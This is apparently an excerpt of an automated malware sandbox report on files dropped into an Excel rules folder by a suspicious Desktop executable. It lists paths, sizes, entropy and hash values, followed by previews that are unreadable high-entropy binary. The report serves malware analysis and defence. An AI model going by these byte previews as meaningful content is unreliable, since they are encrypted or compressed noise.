r..F...M..m.Z...V~.V^R....0p...w.$....)l.W.........70.z.".B...\|`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.764628810897237
Encrypted:	false
SSDEEP:	24:PtcZbRXPh2pv4UHZ/r8nbbIkDqi2oh+Ek/6+3PQ5uXq8uWbD:QJ2+Udr8nnldmFQIXFuED
MD5:	879C15AA920A88656004D8510228507A
SHA1:	C9AC93C4482B3B4A41D6EEF88947EBB4523E3656
SHA-256:	0E5CF8D74822BA5946311FD4554C5E41866D946C1AB6CC86A3159A59AD1E902C
SHA-512:	C6A0E5978EB6804C7DDF6B01D9023F13E69898D0C11B7B79A9584FD800D9E5688FD38FC80390596CAD286DF9E65248649768BCEE28C2B05275D0F1FA476FDD8A
Malicious:	false
Preview:	<?xmlb.ZB..1<...?....v.......3...I...6g.&.i...4..F...Z=....{...s....U/.W...5.L....w^.._;..G@...k.y..@.@.t...;A.....C..g..6kTJ.FFm..c.M.f.z2..y..X.1 .9.%./d...].x?t.rn.......H.............R(...............X..:.>O"\|........^...x.W.........{u.......kq<..#...e&.y7...G.k5...&c....'.Q..2.....-......NQ}.7..(.i...4.R....(..A.(......ckw.X?.x..y2Ks.~R..D....d.?.p......b...'<.......... z.K~..q..#I...yE......\..U.h. .\.g.W...........Y.eR..x)..C]X......`...\|I...d..2SSe[.`...t.I.&t.)u.\..1.d.........,=...!...g ....2.....p...re....ry.../o8.......*.O...5..'...@..9.W.w...6.s.>.:d...O2k.y\Q.o(y.P)...H.....ZS....v8a..axe..4tx......G.%#....vD..G.w7.?2}...W.P0cx.2b ............4c.TpR.~...y...+..R.XZ.rA{.v.vYZ-..\|.e.R...<{.C.~.../..8....-......m1...^.\.T&LU....Se/......Z.D.D.vU....!..?..x.u........8....O/..\.O...fdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.693505402981498
Encrypted:	false
SSDEEP:	12:EU5lxO2QJDNoJ/ly73TVzz6xSO+udtqC1lkVWdCu/Y46eW2e1vUTOtY3lbIwy+hQ:EU5YpN6yBz6xqKtqCDkVelP1W2eh9HXp
MD5:	B8B482F5ECAFDEF8E0827692CAF8DD07
SHA1:	1DDB8AF778D52B73BA0F614DA6D583260D324F84
SHA-256:	498A4F39F41C24FBBA685514C26854085653328491C752257052FD768A9C0BDE
SHA-512:	CB7350E3D54B6A16E252885EFE16D5EEF21F9A10B7B7275FB6F7FCE09B444E85DC18C53D8EFE50BC126706DED6D6E59C688A65F96E195BFAC769A07A17BCE406
Malicious:	false
Preview:	<?xml....K.....:.s:3..0..g4.3....<..7.=;.oR.W.....2VL.+.5^k....3.sH...qs._.%.z../w....<... .X@...nO......cs%.>..r..W<N......xNR).N."O.4.].L.g6..P...tc..5;...u.0H.d.%..=2-ih.lsf~..E..t.:......h4.7~.L.&T.]C..'........;....20...]...t.y)...1......t.}.-...m..k....p#.G.....Cua.w.`..3..0..s.pqeG.m.h.......lx...k...(S.{..m:...f.......(..........OV(M.$.".@.]+.$..d...r.0..cK}TS....=.....hA.uVd=.0-.E........'.' E,.\|.FD.t.......`....(............A..9.:..&....06qq.{.E..#Q...d..HD............qT.x.ev.....w..KC......U....^.....F1.N...S.2.).(.I.j.:x.....0*.y...s.).-.#q...`X.!0,\HM...[O....\.q$&.I..J.]n........ .....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.79138240257711
Encrypted:	false
SSDEEP:	24:MJsw/ENi952+ZQsXummwx5Kz2p5g7qXq8uWbD:nw/ENarQslPWhGXFuED
MD5:	56DA2E8E0106F1A8D4D0A4C8A33D7162
SHA1:	4F4ED24C5885D0035C871C4CA23E13E3DED6D19C
SHA-256:	B2A7D0A84C004DFC41EC078CA3BE6FAC45DCFDAF10DFFD852811B553E5A27F8C
SHA-512:	300373DCA218FA97004D452906F299B46EB5ECBC2D340D43F138F881669A28C813BBB9540FDE05C8A8FB96B720337618EB74FFE6EB4C507F77B404C1633DAD43
Malicious:	false
Preview:	<?xmlx.V......9..h.x=..~`J.y...7.FN'....f..[A.L.`u.W3.....7...DZ.....N..tk..+.n..v.}......4d..y..]..%w%`U/.......:...SN.....n...D.0Hm.%.V....Q.G.7.....s.)/..!..............<..q]..C..D.B....\|CR.-+l....cj.wZ.a..p1m.c.~y}..r.._I.."}.... {..5..8.f...8..G.rzd..>.<mUm.o...77.4.......m.N]..l.....R..%.P._.....X1..+a..:.A...=..@.]..cS=i^u..r1.0.ej........T..v........ta.y..f.=..y.\..rG...<..\.v....~&8.........p.w..*......%A..%......he...kj..t....&T[2......g]?..)..s.2.=..nM.i..k.[q...t..z....[...W...yA...Q....;...\.6..+....I(../.7S`CT..."..6.Fr..V\|...gv.....".s...m.....k<..c..9kM..%1...0A..Sp.....<.aK.P....9Y._.r"....RZ3..b.T..j.?z....L.;...G.W.!..mGN..W)+....)...p}.OVZU.12..D..59..K...Tg.E.h....A.{.z.....0u....kLZ!........NM..A.x....6..L.d.z.....O=..u.3...v.f....$...!..7]...?:....oG.~..PUL.x...'.]...&TbA..#...?<....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.78491203941954
Encrypted:	false
SSDEEP:	24:Q+h+QL8YxUP8EUyCrgsONqu4iPwAREllGczFATOXq8uWbD:Q+hvB2+yCZ9wIAellxeOXFuED
MD5:	EF7BB8D62A2885637C2CDD961A1D0475
SHA1:	B47C23C26F795606ADF78690D116389A51E958E0
SHA-256:	5373AE24E9262CB5B048042EB5CC46F079AD4C8CA15C3498418EFFBFE62E72A4
SHA-512:	DC65D052A0D83D2A41131E3A1BA26C8075F0CA13C281330956D7FA7FD201EE83AE23D14291066E358CCAE56DE9322E2CD538B2BD0A6190DC77BC6C929594D0F0
Malicious:	false
Preview:	<?xmlm......e.\'...K..^.=.....Q.M.6..y.../..g....+.2.{..{4...#\|..........(.t.E!Uj.)5X.&.....}..q\..4Nn7...hU..e=.s..y.....~..h%#i}N.Z].$.@.e..c?.N9..NY..z&....j!m.5f.....>mE.?.l..zR.o.vk....\|.9L..S.k..=3..........7..xS.N.&.x.p....KMX.F........ ......Np....AJ....^P\|.{.R.0.....h`K..;.....i._.V....1..\.4.U>$....V.jD..a`...d.I....1....R"Ok.Y...K3d.{b....`.0..>bn.1.!.Of.E...q.P.O.X.kn....>+...........\.ZD..kVP.3...gG.'.cC-.a`.$..Z#<w...;.(_....X...K.3.I.l....%<.K..r.)....?....Jik...........PZ.4..\|.D...k?.`i:......D.0.......X..+..E.8......1.A....c..>..YV.x..s...y..._W..#,&.t..x....:..I.7M...c..s+\f..\|V.<....S...._......L<..h...Q6..oQn@=\|].!....k........6....z..v.$...Z..(. ......:.......J..It...~...D.\|..=B...h..&.e...b...)........e...."4..H.b#_....u.9k..MV...Y"...+.'...l.C4C....=.M/..q..e.......7..H'.\...j.b./b......QX..S........:doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.728462952395191
Encrypted:	false
SSDEEP:	12:rxNm00garWluFd1444/7EAdw1XMCTlsoYGVpuveqV4mU3FYs2gQ6TS4TJedn6yWP:V4wedih7ElMKyGUV4xFR2VePVXq8uWbD
MD5:	AC546FECFA5B202600FB3F2F6C8ED03A
SHA1:	39B80BD60CD29F650EAA224650C5677CF851D0FD
SHA-256:	5B408EA9A30BB613E83AC84AF6DF976E1DAEE8E01D568BB4446515DE9F203DBE
SHA-512:	7A28CFC13F0633DC5D3BCA4B0692A166F8B3245D694B6DA33C0CF7A424F3281C11B0578DB5A8CA5D0223899A3F1A6F3E007C44B59DE27E4E7C96614FA4A44E45
Malicious:	false
Preview:	<?xml.. .CSoPD..\..y...-...<aM;.Ro..L.}s...Fe......@..X.e....}.u..C_q..^>.V.]....K...3O..G.`C....t=.....@L..1F..4$.....l(......$Vj..I9.....Q.x......XX.........,x.yS>7.S...>c...3.X_dW..`F....].}H..n....\.K.Q.Hi........Z.....(..A....h.....Y...B.-?....).zM.{.\|l<.....9.#..#.c..t...$.U....~hq..4...(.\+B..l..v.$...L.Y......j....&.....y...j..iec.Z!a=Hr..Jc.....l..a.k.7MJrxa.?[...4"....[t*.. ...P.jk.).:..ax.<...-z.._M.K.:...gq1.$c..I6...C..\.@GsB.^.d.9.... .9K.D..)....':p.M..r.6G8.(/?...C...`....l..X.......J....=..V.......3CJ..P......R?_.3.!.,.J.}..s..bz.....P.4.Q...5.......e?.../.../?7.4.O8x...rx6..33..>r.Q~`7.D.2.qR.b`.,B..\D..Gy@..=...))F.H.3.X-..Hlfu....L...b.He.K...+.L.....).k......lR]%....C.vow.U..H.e..G2......T..f....).o..._....:hx.`.........}...{doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.777034707035846
Encrypted:	false
SSDEEP:	24:msCGzi6XsxTiwbSPdh7Kn/HeIF1hw3gC7cKwXq8uWbD:m/ai67wsLs13CYvXFuED
MD5:	487858836290349847BB79AFFA237FE7
SHA1:	881C0D8DC92453C1F75231942F61DA9AEC292A96
SHA-256:	7822103A714FFCED90AA0D6C2A7D2D8C7D68FF59893F6C806C2E90FBC475444A
SHA-512:	EA02F774AB9718F882334D1DB9DCF3049649064D7B54DFAE806A199EC89161F3F9BC46002795BE1FCE72C88400C4A97CDC8DF4FD8EC5C0F2CB689ACA846F24C5
Malicious:	false
Preview:	<?xmlO...`{...qp.I....`-&.a......A...I.WWiL&H.E..+...h5{.g.B..<..6.x...,..i.K.?.{...3k..Z..u ....../}.P..}..<.B&=.nP..m.2:G.e..y4i.....t..P....Q,.....F._.rVV...=.8.....^.M....2.......<.....M........4+..k....0...U..ok\|Z.].:...%......xRr..q.-.G...!+2.f..MJ.......5/.Sf+.nJS.4..{.....GF.8..y.....BMV.....Z....NT.w....N..s.D{.....#....U.5......aA...(..gT...@.vc.?..!.[X....h......v..jv.c.J.V.6..o.).z.u.$.8.......W...xqE.Q\..._..../.~.2...8..FW.C.q....qy.../........OB:...?.....r'.TKGM./h:...o\.?};....,.1..T...[..%..;TU....W.V.Y@?.}Y.. ..x.v".dZ(...4v..aqk...4...e.....y8..Q.td...5....."o.8.7JMA0Y..,..<..2....../.O=.(.......[,`..a.Q.3V.Hu......?.....p.v...>7:Q1H.......;._.....P..eC.....r}....bK%..E0.3.e....X.`.o.u.tb..M.._H...".Y(C.x..s......x...IG..r.:.}V.[......AH.."..........2H/.N....Y.+.._.}odoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.7470913442826035
Encrypted:	false
SSDEEP:	24:48fUx137EYcGTvQFEzr8qsfEcW0DNSg20+jbuQezXq8uWbD:8oYcGT4c8fJWXgEmQSXFuED
MD5:	B8DF3EB494EEEAA105CCA21478AE9ED6
SHA1:	585B0E2704FB993F5632D7361DFD73B72DA990FE
SHA-256:	E48EB6ABC7E93AA9C466144A161AAB11CCE7373C16F86BDC2C810D73BA9EA33B
SHA-512:	46F030C7670E30B9C5DFF9EE0FC9DDA59B71D02EC5BBE98C82521FE95B4EBDB0E7C70DCA63FD0E1C29A59899662F08AC34FBF2B5FE23D0E8576E919033140B63
Malicious:	false
Preview:	<?xml.,K...y^1.o&.,..<......o;)..@.[..y../g...2..a...TD.0..~xm].....E.?..>...Z.(.........R2..e@..!....@.L;..3..p.a.z(.n. ..?h.....a...9=.=.}.(..XY..[.6.!..(.Zfk..'.^..yS..#Fb0.^..xO...}.O(..\|.......$".r...J......F..YB..B(...jd\...j.b.S..lC.J....l.....Q.s..I.V...Z....u...M.}..]..).h.=....\|@M.Dh..s....r...s..m..%..~(...qe..i.9."...p...V..6j[.../}...=..mK...........2.Y..?..(6.(.\|..L.S3./&.{6.M.N_l.....c:.:.. ........?..B.$bh...../.vlN..:EA.f..3..k..f..j....7._.E...\|4.g.<Z.....f.:....:M..G.5..w..:.H......i.......x.....>#.{,...4.a$.AA.w........O.z.gnU..P..K..N....6.~%.@.T..SF.3.....P.a...?.(.)..;.D...O..k.>.TH....=W.N.H.w.jj].kV.y.4.^"....'.Z.7`?..............M..f..`.....=irw...0s.....5U.a.....:......P.6...;9..........w.h.....z...A.A.....p....".B..?3Eg.;.\|.%s.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170133v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.709022251782594
Encrypted:	false
SSDEEP:	24:PpTEGCkauW6rjXJuZ0u7eIX7bB0UZB2Xq8uWbD:FEGfW6IKu7XrbD2XFuED
MD5:	54B776E355DB0AA63C6F4F6DB2F00C90
SHA1:	CF786B1A2158AC2AE17FC40A68D8BAE0B163C83D
SHA-256:	AA8A880D18F10BC5C55F496A9D2D34CA9A111652AFC1F3689D5DFFB5085E0036
SHA-512:	32E31DA4AC579D1C8DF132A031948FDADB082A17A62ED4E0382EC32AAE0BB5939FDE84D5268172078DB0F7D5FA8493ACDFF2694421AF1993EC638D0791CDF6DD
Malicious:	false
Preview:	<?xml.&.H.Z.$......HT..7.\.B.....A..8.u.)...J...q.....-n..Dp..5..^.Ga.{.w.X.P..+m..J.......<..e..x%.h.%...C.,.......A.....K...p,..-y..g.1....TH...X.%`.....T.ffS.b.`.4)..9..q*..A..sk....}V@.vr5.Cy....a..8..l...h.o.?...........1.....L4-hS.@.QL..cfw./.9U..]-RVr.l.gd.>..H .i.._.i.v.q.N(.._&.d........vm.Bz..!.q..bK......P?.g....#L'.C.\|.j.g.......?ZA..Z9.QjBY.IZ...:;^..)g..........?k.F...-..#k.....9..b............#.....k1Mv.{..:...7q^.H.^...l.`..].i..):.S,dK...]x..!..s.....%....s$.Uhm..6.G.(.Ot..$.{R.?...i.........ZB.^..........ax....\...sg....>..../@...y.K...._....=....T1@c=..aM.A0.b...{F5.....[j@ji..D..^v.LP}..j$.8..sv.....I.tX.L..7d..h.lY..A...Y}...8.s:X.n8\.,l%..S..>.!..qdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170134v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.725695696690401
Encrypted:	false
SSDEEP:	24:OJGv8IrWAQVXCuu80FU4+9WDJu3EXq8uWbD:e8VrcRz4mgiEXFuED
MD5:	C899C68E273E2773DF53EB1386CC864C
SHA1:	68B263AFC2B7D2EC08A3EEE87AD7E57CC3BEFC3E
SHA-256:	20A965C2E0BA59B4A2AB44F4245C563584A528CA5A341B4353196047EF592B67
SHA-512:	C17023008C9C349CA20E88925849FC51F1287CE3332A9DEC6FDF8415D2FC62760E1A766193249B252CBF49A931A10BA392C8BCE399C867C8455076BB79BD5C99
Malicious:	false
Preview:	<?xml...Y....\|...mF.:f.B.m(..W....?.....&...;..L..(.p.V6._.T. )>gs..Te...0...\|...4b......d... S..v...-.mr.v&/...._7.rk..?+z"6./.R .a...l....I9B.W. pQ......x....acM.............u.!...H.U.......p..#....)8....^..-.EhX.....YN'D.Y....%$FODU..N...jJ......}.;.{..Z....M.d[eC.&...@.......4...n.!....,..7...n....p..D.YHB@....H..BP...6....C.p....r..(Q.X.x...k......'.g...3d.....N.......?L.tN.....{.x.JMS..aH..m]...U.{;.w.P...wk.+.r..r........M....A0s.....y.aU........Oj`y..*.4..!......r.x..C.%9...x@.Pg.^.n..S..`R.\Tr..py)u..E.d......p.:......6#......+.4..`J.Q......L.P...;.X..........5.....:.>V.z.'..)...8.j.JP-..wp......A..70QhT..17......+].,..Z....>qx!}.........z6X..E....J6..r.Wdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170135v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.7942470114172435
Encrypted:	false
SSDEEP:	24:4tFf4QqxWXgybZY2HIyIiyfieJVu35SchDGMEttIbLc70F1sOcKXq8uWbD:wFf4Q6WXgy+2HByfXJ05ScEMEtteU0jZ
MD5:	DE4871EF1FB2C3C30EE3CD8D22ECFD60
SHA1:	515AB7DB98AD459591A610BE84A0673F173D5898
SHA-256:	AF600C73DE9E2817F65769AF8988DA1A963C4B8E6C5DBB4F54C8E128EEED001B
SHA-512:	4104662277EF963A8AC2829AA992D15039B8FA1805C44FC5DC4DE620E5C2697AB08B8A1394392FFC412E92D9DB3B5E516BD4614888376888E29D8035B1F979F0
Malicious:	false
Preview:	<?xml.........=h..h.Jl..vv..v....J.?......0$.C[...U.q!^...\.y..!"./..e@..>..Z......_./...}p.R).T...~.l.l@..x..M..>y k.G.......T.a.^s./b.jY.3)5l.G..DD.gj!....A.Vp.8..x..Z.M.erf\|...a.Sey5..g.=.gA.FO..."w.[....i.j1`c.:...._.....zk..E..1Nw....(@.QK..:0..........~."$R=l....VwD...p....U=Y{l_........GK^.It...<~....j..8b'...g..x..Vqx@.,.{..8..X...O'.../...........!.r..B1.g.T...W7.n..'....O..l..t......y....N.T...'.+......NF..:.>.?.2}.Q...$...+'J0...n....m.x{ROn..l.e.\G.j.b<... ;..PXiV)=..1....q.S..pG./...g.>f...............\|.x../grz.2.c.=..Og.<h.:&..l....^5...S.z^Z.....\..V.wNhwS.[_.P...8...-p....(`mu.5...@...e._.._?....E.....D..}.\|....n>.\| .\.4,....6F..u!]8.g..:........;..(.....R...y:....T......2{..W../..w.,..!<x'6.).....K.........n......y..Z.....p...R..^.`MJ.....^}Q#.\?i.h..Y..Y..P.Dh.\|W<_o.\|........ap."y.2.2...%....i\|/../.5Y..=..M.94kn.;..1...r..yd.w.....e..I...0^.1doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170136v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	996
Entropy (8bit):	7.763972698925398
Encrypted:	false
SSDEEP:	24:ZgaqcsWy1Mzmjr2N8URRyEbgm2HIpzIJpsRrG7LIwzrIpXq8uWbD:mNWy1MOr2NrRBK0In2rCkwIpXFuED
MD5:	AFE444F72664153ADED382BD0DF79F29
SHA1:	871E5011AA209BA6C686D7AC707E6290902B98A0
SHA-256:	63902CCC12EAFE4E454D6E073C85CFE55C88EAA8F06B113148754AD24861EE68
SHA-512:	B94E0BF8FAB5FFCF3D6DDA3D92467D7A1A36972DD2C293E6DE6F7CAA26FBAE6AA55E9BFEEDD1902AE490CF385407CB77E16BD755C580250A275FB77364E25489
Malicious:	false
Preview:	<?xml...(.J........7:....ve.C...GD.Sa._..+i._.(...[..T.;.$....7[/e..,...,%..9..?..\#94....q.@..[G....oJk.e....$gN")'.sA.c... ...Si.Bh...>.....]..?.F.Q..Z...F..r2..W..t...N5=1....$.n...A.c..n.B.0.O.!......;....\..h..^.8..tAw(.#.is.zy.=(..h...C.>.M0eL..3..m...0.....F.....S..4..].(B..l...!\|..h.u%...E9.+...b..0..........e...A..S..."...Op).ImAA>\.....Md.x.....q)..Z?Ce.qT.....'`.ec'.^.W.{...0....+.mo~OI..n0T.x...D...G.7[...n".l.Mn...>..Rg@.@.$R....u1..]....v.b....(vA.2.8=i.....G..x.`.G.."d..?O..d..0...8......l^/v0dW...v...8....W.....e1.FadquRz.....Hu{U4.t...s... .........d.7pV....Do.?..{.U.._..4t..$g.z~.c+..C.2..:...K[..a..3....C.n.3.B.?.......:....'.B.#.....<b....8W.$..q...&..../R.H..Ob..B....H.AM.]......W...J.%.1.d.T.f.K...B...w(2..dt.......+.tP.iF.>...@.N.....C.N8^..*..M.G!...S..b.=S..!......._...>7.k.%...p.N..u...W.r..?x.....[i.!..5.'{&.U...fgx.P8.i...........z}..t.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170137v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.755779938992811
Encrypted:	false
SSDEEP:	24:OwX1uZAx1gmsrfagKjUB/+e5FFt6Xq8uWbD:/XkZ/rCzjUB2c4XFuED
MD5:	9DF605FE8A87F9825C7828386D8C581A
SHA1:	17D69A4BBC5484766B787B49DEC7E8F008BB5CE0
SHA-256:	B89FB9175ECFAD1BAABA7A2081F4090195FA22A6278B456CB383996FA6F10C0F
SHA-512:	6DC124C1EDF7AE53400AA9C0746DE45342173A13E411A364AB52F92936C69EBC545FD4ACC5326F4D25CC247BBB9419342129C4D0BE62079CD4E5244AF2DFA902
Malicious:	false
Preview:	<?xml[..'...v...b..(.l....FhW..=.Z2.F.NZ...D...L..>3$i..g.Lo.P.4Z....4. B...p..6M...5E2g\......I...J.1-=.W.8...a..H...S.g...D.....k..bp........}M&.@E..Fn.Cq.Q..M..A.......s.5ET...7.cm.H.A..Rt6gG.vT...4.....Z....:.D..uVT[k.....3b........../........zXs+....$.BH,.....8\...$E5.B.h.......W.$.31.@....IX....az.H.K.>.......!..p..~..Jk.....!.&."...!.7./.....7.O.}...a......bE.......Y.N.un.....X.P2!..........z....{.."...XW..>..=....bD.......LU....P:./5.....B.U.......p.@iLe.....+ZJ.....[.z2A...V24.....]..I...y...E...........Dz.3..n...x.`/.<...T\|...M.....K..i!0<..#...s.E\|y..P.:.p..zJ*..@..........n!....On..G.w.........1....B..&...6$6..1.....(x.j.1vZ..\|...........0U.f...M.C.~.M.U.B...r.v...C..r=.T.K...V14...Dt..c..l?Txg^..)........`..P...zM....}..,......I0..#...;\.\..=D:.{..z.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170138v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.690351788750303
Encrypted:	false
SSDEEP:	24:djyMNzrmnebdej2n4s0OyZsCnCvXq8uWbD:djrlCEde6bYvn8XFuED
MD5:	EFDC92DD997C0C50E5EF8F5085CE3774
SHA1:	5D90F69DBBD6723A97744936AA2A1B9C9C22066E
SHA-256:	56E17447F209EC796F365E666D59AC8C893A00DA5A8E12FD2C6216B23439E469
SHA-512:	23A9C33946FB6F747E67108B039921546DA42721EB9F65F983E4A3BF99EE8F51E1A51B609D3636F9EE51D1EAF3A68EE9FDB8B52579456CAEC4A8E189E38E5424
Malicious:	false
Preview:	<?xml.X"..=`.e /..".p........p;`t...&.3....+...`7x.J.............j.==.AI..,.......(hq..T.h .}c<..Wsw\3..&.5.h9..m...L;....=....<..-"%..".Q.....\..Z.A.U...ny.).S...{.s.D.....m.......O.by..G.y!.%.}L.!.R....l.L......d.2.\T.o..0.p]3..f.P.v..j.I....).....a.j..Q^.$V]..<.\|.....8..p.6..........c>.~.b.kE.w..x...H......Bx...OR.%..cDQ.7\.....ljM..PYS..>........X..."o.zE...`..m.t.. ....Y.%.NZ/....).&_.....>..j#.Z..T...+...xG;P..[-.z..wg.uZ.Mx.r`....x4...E.. +.....n'x2.>...].emZ....P...<.!z.=/R.!.{.$.C..X...8.X......>u...........){;<V]WE..........cra...o.....W..HvI...&~..g.S.. .z....i...A.......Ji....6..w..t.4..%.....H.p=.4..h.....2...X...<..6.G......I...d.S8\-.l....[.?(&..?h>&v..@DBH+K.Ydoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170139v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.726025341618362
Encrypted:	false
SSDEEP:	24:eE1SsO7mWaRgn3xhKpZaXczDcpI/ZIXq8uWbD:ewQ7mWznhIuGIieXFuED
MD5:	D5267BE9218B6948DAF23311AA3F712F
SHA1:	7B1BB0FC5D2F4F7DE4652FFF997328B4E7D83433
SHA-256:	596FE0F791AD11B330E0E2405816D2EBF1684BF34E245018492368B38485B2F1
SHA-512:	6617192B4A769E9822C6BA4C54895C86FBE0EE1B91B3982047376CA9BCC7917FBDF515750430608886540DE1D29CB2B7361C9F75CC1FA016BDA143A2D7CAF98D
Malicious:	false
Preview:	<?xml?bl....!...Kh1.Q....-...g.nQS.._.....z}c.......x.W.....(......:.."..7<...&K.4...b...........I.W.u.5......}.Y.N}....5..'...+'..tS\.y.:...\|...Og...4..!...l..=.w....r....;.......wB.........0......".4v.)..........(..'....4.@qmk..K....P..?.E0...1:ih8.c......._&.K.EJ..,.P2.....%.\.......Nl.T...kE.......o....:{e'yq....t.+%.......\|Nw....S.8.Lv=._../UTY........%.i..I..LA.K..W&c..."c...kn0.et.9baR......F.%\|...{.D..f...O/.....!.....E.Q.\|.......3.....J.+w.y.P...0......*...:...u....../9.....\|...&..~P.Q.$,.C<....G..>..M...W...+.w.G..uc.6i.'{+..........N......A0,.XA.+1&..}m.%...!d...}...Y....B.."...u;.NqKp>..K.Te.bq..'C.{...C..-_.?.C8......$...;@?r..7.w...?..$=`.ar).qk<..0..K..nN..3..."p.PhF.tdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170140v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.72150864703358
Encrypted:	false
SSDEEP:	24:JWQPNm1zZqmr47oEMQDrILrWP857yqKXq8uWbD:JWQPEqmr49MQDraC857LKXFuED
MD5:	B0C3CDF0C61E40C258D5AC3A77DFBEBB
SHA1:	A83A2D221416449AC06A99A72E1098C320F7F8C8
SHA-256:	3F7A0F6F93EB8DAC1082506AB308212B90288FF1BB02400664203A51D2ED1E95
SHA-512:	A4950A931CA969F4202BFDC620665C3E9A537C6CF67A6D5D21AB3103115D27CDDCFF291603B5BED026EDE7E72E549DE6A21BEDD563E682861421DAA4958649A7
Malicious:	false
Preview:	<?xml .d.j....?Z-...deMU.....1..^.0V.i5b.Q_.C..j....rB.._.....:.O..qf..{.7...T........xe&......5...RZ.a..p5.l...V.B..._S.k(t.3.Nn4T>.g.....G...bE.M..?."V..O..\|!...:...s....t...'.....Lj..<.....+"Y...UA-...yI....pI%U,W..c...96B.0S)...P'.....'.1./.h.5..7b..\|{"\T.,l..d'..l=[2.`K.{..$#...4..x<A..u..Mu.9.a....].`......yD[.]g..........Wq.Y...$.E...<c.....uz......H.K,E$!@..(..".....+...?$......{....l..~%........}..._.......a&....yI4...x.h......i"t\|.;...........IB..3."......'l.c.C.l..._...H.c-]..+.....F.:'...`.3..;s-.t)..xosf`x.N.p.....tn.N..\...GK!...0.z?><k$....7 ...N...&}}`,..(..rA\|[..:X...M,1.bKM....).y..........[.6M,.E.nD...._...........{.".O...aj\|d...H.....#_....w=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

